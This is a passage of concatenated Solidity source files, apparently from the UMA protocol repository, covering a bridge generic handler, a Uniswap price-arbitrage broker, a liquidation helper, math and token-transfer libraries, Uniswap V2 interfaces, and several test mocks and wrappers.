_setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice A deposit is initiatied by making a deposit in the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 64 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external onlyBridge {
bytes32 lenMetadata;
bytes memory metadata;
assembly {
// Load length of metadata from data + 64
lenMetadata := calldataload(0xC4)
// Load free memory pointer
metadata := mload(0x40)
mstore(0x40, add(0x20, add(metadata, lenMetadata)))
// func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) +
// bytes length (32) + resourceId (32) + length (32) = 0xC4
calldatacopy(
metadata, // copy to metadata
0xC4, // copy from calldata after metadata length declaration @0xC4
sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up))
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metadata);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
_depositRecords[destinationChainID][depositNonce] = DepositRecord(
destinationChainID,
depositer,
resourceID,
metadata
);
}
/**
@notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract.
@param data Consists of {resourceID}, {lenMetaData}, and {metaData}.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 32 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge {
bytes memory metaData;
assembly {
// metadata has variable length
// load free memory pointer to store metadata
metaData := mload(0x40)
// first 32 bytes of variable length in storage refer to length
let lenMeta := calldataload(0x64)
mstore(0x40, add(0x60, add(metaData, lenMeta)))
// in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params
calldatacopy(
metaData, // copy to metaData
0x64, // copy from calldata after data length declaration at 0x64
sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64)
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metaData);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
}
function _setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) internal {
_resourceIDToContractAddress[resourceID] = contractAddress;
_contractAddressToResourceID[contractAddress] = resourceID;
_contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig;
_contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig;
_contractWhitelist[contractAddress] = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../interfaces/VotingInterface.sol";
import "../VoteTiming.sol";
// Wraps the library VoteTiming for testing purposes.
contract VoteTimingTest {
using VoteTiming for VoteTiming.Data;
VoteTiming.Data public voteTiming;
constructor(uint256 phaseLength) public {
wrapInit(phaseLength);
}
function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) {
return voteTiming.computeCurrentRoundId(currentTime);
}
function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) {
return voteTiming.computeCurrentPhase(currentTime);
}
function wrapInit(uint256 phaseLength) public {
voteTiming.init(phaseLength);
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/Babylonian.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/lib/contracts/libraries/FullMath.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
/**
* @title UniswapBroker
* @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual
* synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically
* swap and move a uniswap market.
*/
contract UniswapBroker {
using SafeMath for uint256;
/**
* @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as
* possible to the truePrice.
* @dev True price is expressed in the ratio of token A to token B.
* @dev The caller must approve this contract to spend whichever token is intended to be swapped.
* @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param uniswapFactory address of the uniswap factory used to fetch current pair reserves.
* @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure
* out which tokens need to be exchanged to move the market to the desired "true" price.
* @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price
* and the 1st value is the the denominator of the true price.
* @param maxSpendTokens array of unit to represent the max to spend in the two tokens.
* @param to recipient of the trade proceeds.
* @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert.
*/
function swapToPrice(
bool tradingAsEOA,
address uniswapRouter,
address uniswapFactory,
address[2] memory swappedTokens,
uint256[2] memory truePriceTokens,
uint256[2] memory maxSpendTokens,
address to,
uint256 deadline
) public {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
// true price is expressed as a ratio, so both values must be non-zero
require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE");
// caller can specify 0 for either if they wish to swap in only one direction, but not both
require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND");
bool aToB;
uint256 amountIn;
{
(uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]);
(aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB);
}
require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN");
// spend up to the allowance of the token in
uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1];
if (amountIn > maxSpend) {
amountIn = maxSpend;
}
address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1];
address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0];
TransferHelper.safeApprove(tokenIn, address(router), amountIn);
if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn);
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests.
path,
to,
deadline
);
}
/**
* @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the
* uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move
* the pool price to be equal to the true price.
* @dev Note that this method uses the Babylonian square root method which has a small margin of error which will
* result in a small over or under estimation on the size of the trade needed.
* @param truePriceTokenA the nominator of the true price.
* @param truePriceTokenB the denominator of the true price.
* @param reserveA number of token A in the pair reserves
* @param reserveB number of token B in the pair reserves
*/
//
function computeTradeToMoveMarket(
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 reserveA,
uint256 reserveB
) public pure returns (bool aToB, uint256 amountIn) {
aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA;
uint256 invariant = reserveA.mul(reserveB);
// The trade ∆a of token a required to move the market to some desired price P' from the current price P can be
// found with ∆a=(kP')^1/2-Ra.
uint256 leftSide =
Babylonian.sqrt(
FullMath.mulDiv(
invariant,
aToB ? truePriceTokenA : truePriceTokenB,
aToB ? truePriceTokenB : truePriceTokenA
)
);
uint256 rightSide = (aToB ? reserveA : reserveB);
if (leftSide < rightSide) return (false, 0);
// compute the amount that must be sent to move the price back to the true price.
amountIn = leftSide.sub(rightSide);
}
// The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
// We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound
// to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so
// unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant
// handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker
// are simply moved here to maintain truffle support.
function getReserves(
address factory,
address tokenA,
address tokenB
) public view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title ReserveCurrencyLiquidator
* @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of
* financial contracts. Is assumed to be called by a DSProxy which holds reserve currency.
*/
contract ReserveCurrencyLiquidator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to
* liquidate a position within one transaction.
* @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending
* liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has
* passed liveness. At this point the position can be manually unwound.
* @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted.
* These existing tokens will be used first before any swaps or mints are done.
* @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough
* collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param financialContract address of the financial contract on which the liquidation is occurring.
* @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy.
* @param liquidatedSponsor address of the sponsor to be liquidated.
* @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage.
* @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt.
* @param deadline abort the trade and liquidation if the transaction is mined after this timestamp.
**/
function swapMintLiquidate(
address uniswapRouter,
address financialContract,
address reserveCurrency,
address liquidatedSponsor,
FixedPoint.Unsigned calldata maxReserveTokenSpent,
FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
) public {
IFinancialContract fc = IFinancialContract(financialContract);
// 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already
// has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall).
FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc));
// 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics.
FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding());
FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr);
// 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any
// collateral needed to mint the token short fall.
FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall);
// 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this
// will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0.
FixedPoint.Unsigned memory collateralToBePurchased =
subOrZero(totalCollateralRequired, getCollateralBalance(fc));
// 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall.
// Note the path assumes a direct route from the reserve currency to the collateral currency.
if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
address[] memory path = new address[](2);
path[0] = reserveCurrency;
path[1] = fc.collateralCurrency();
TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue);
router.swapTokensForExactTokens(
collateralToBePurchased.rawValue,
maxReserveTokenSpent.rawValue,
path,
address(this),
deadline
);
}
// 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve
// or not enough collateral in the contract) the script should try to liquidate as much as it can regardless.
// Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall
// as the maximum tokens that could be liquidated at the current GCR.
if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) {
totalCollateralRequired = getCollateralBalance(fc);
collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc));
tokenShortfall = collateralToMintShortfall.divCeil(gcr);
}
// 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR.
// If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral
// currency as this is needed to pay the final fee in the liquidation tx.
TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue);
if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall);
// The liquidatableTokens is either the maxTokensToLiquidate (if we were able to buy/mint enough) or the full
// token token balance at this point if there was a shortfall.
FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate;
if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc);
// 6. Liquidate position with newly minted synthetics.
TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue);
fc.createLiquidation(
liquidatedSponsor,
minCollateralPerTokenLiquidated,
maxCollateralPerTokenLiquidated,
liquidatableTokens,
deadline
);
}
// Helper method to work around subtraction overflow in the case of: a - b with b > a.
function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b)
internal
pure
returns (FixedPoint.Unsigned memory)
{
return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b);
}
// Helper method to return the current final fee for a given financial contract instance.
function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency());
}
// Helper method to return the collateral balance of this contract.
function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this)));
}
// Helper method to return the synthetic balance of this contract.
function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this)));
}
}
// Define some simple interfaces for dealing with UMA contracts.
interface IFinancialContract {
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
FixedPoint.Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function positions(address sponsor) external returns (PositionData memory);
function collateralCurrency() external returns (address);
function tokenCurrency() external returns (address);
function finder() external returns (address);
function pfc() external returns (FixedPoint.Unsigned memory);
function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory);
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external;
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
);
}
interface IStore {
function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory);
}
interface IFinder {
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
// Simple contract used to redeem tokens using a DSProxy from an emp.
contract TokenRedeemer {
function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens)
public
returns (FixedPoint.Unsigned memory)
{
IFinancialContract fc = IFinancialContract(financialContractAddress);
TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue);
return fc.redeem(numTokens);
}
}
interface IFinancialContract {
function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn);
function tokenCurrency() external returns (address);
}
/*
MultiRoleTest contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/MultiRole.sol";
// The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes.
contract MultiRoleTest is MultiRole {
function createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] calldata initialMembers
) external {
_createSharedRole(roleId, managingRoleId, initialMembers);
}
function createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) external {
_createExclusiveRole(roleId, managingRoleId, initialMember);
}
// solhint-disable-next-line no-empty-blocks
function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Testable.sol";
// TestableTest is derived from the abstract contract Testable for testing purposes.
contract TestableTest is Testable {
// solhint-disable-next-line no-empty-blocks
constructor(address _timerAddress) public Testable(_timerAddress) {}
function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) {
// solhint-disable-next-line not-rely-on-time
return (getCurrentTime(), now);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/VaultInterface.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Mock for yearn-style vaults for use in tests.
*/
contract VaultMock is VaultInterface {
IERC20 public override token;
uint256 private pricePerFullShare = 0;
constructor(IERC20 _token) public {
token = _token;
}
function getPricePerFullShare() external view override returns (uint256) {
return pricePerFullShare;
}
function setPricePerFullShare(uint256 _pricePerFullShare) external {
pricePerFullShare = _pricePerFullShare;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Interface for Yearn-style vaults.
* @dev This only contains the methods/events that we use in our contracts or offchain infrastructure.
*/
abstract contract VaultInterface {
// Return the underlying token.
function token() external view virtual returns (IERC20);
// Gets the number of return tokens that a "share" of this vault is worth.
function getPricePerFullShare() external view virtual returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Implements only the required ERC20 methods. This contract is used
* test how contracts handle ERC20 contracts that have not implemented `decimals()`
* @dev Mostly copied from Consensys EIP-20 implementation:
* https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol
*/
contract BasicERC20 is IERC20 {
uint256 private constant MAX_UINT256 = 2**256 - 1;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
uint256 private _totalSupply;
constructor(uint256 _initialAmount) public {
balances[msg.sender] = _initialAmount;
_totalSupply = _initialAmount;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public override returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public override returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../ResultComputation.sol";
import "../../../common/implementation/FixedPoint.sol";
// Wraps the library ResultComputation for testing purposes.
contract ResultComputationTest {
using ResultComputation for ResultComputation.Data;
ResultComputation.Data public data;
function wrapAddVote(int256 votePrice, uint256 numberTokens) external {
data.addVote(votePrice, FixedPoint.Unsigned(numberTokens));
}
